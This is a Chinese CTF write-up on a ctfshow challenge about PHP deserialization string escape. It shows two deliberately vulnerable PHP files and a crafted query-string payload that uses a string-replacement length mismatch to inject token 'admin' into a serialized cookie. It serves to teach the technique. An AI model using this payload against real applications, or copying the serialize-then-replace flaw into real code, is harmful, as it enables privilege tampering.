php反序列化字符串逃逸

php反序列字符串逃逸

最近在做ctfshow上得web入门反序列化以及php特性的部分，讲讲反序列化字符串逃逸把。`

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

题的代码如上所示这代码的功能通过序列化以生成一段cookie,这个页面上也没有找到flag，看了下注释发现了一个message.php访问message.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

发现了这样的代码，之前生成的cookie进行了反序列化，而要读取flag需要token变为admin而之前的代码无法使得token通过直接赋值变成admin,那么我们应该利用可以传的参数将php序列化字符串给拼接进而去传token的值，先写出exp

<?php
class message{
	public $token="admin";
}
$a=new message();
echo serialize($a);

在反序列化得时候php会根据s所指定得字符串长度去读后面的字符串.

对于这个O的含义是代表了一个对象而那个4代表了这个对象有多少属性，我们可以传入这样的参数

?f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

index.php的代码上当匹配到fck时会把fck替换为loveU,而这样传是为了让代码后半部分的token与admin挤掉token与user，从而完成了反序列化字符串逃逸
没有被替换的序列化字符串
O:7:“message”:4:{s:4:“from”;s:1:“1”;s:3:“msg”;s:1:“1”;s:2:“to”;s:136:“1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:“token”;s:5:“admin”;}";s:5:“token”;s:4:“user”;}PHP会认为s:136:“1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:“token”;s:5:“admin”;}";这个部分一块的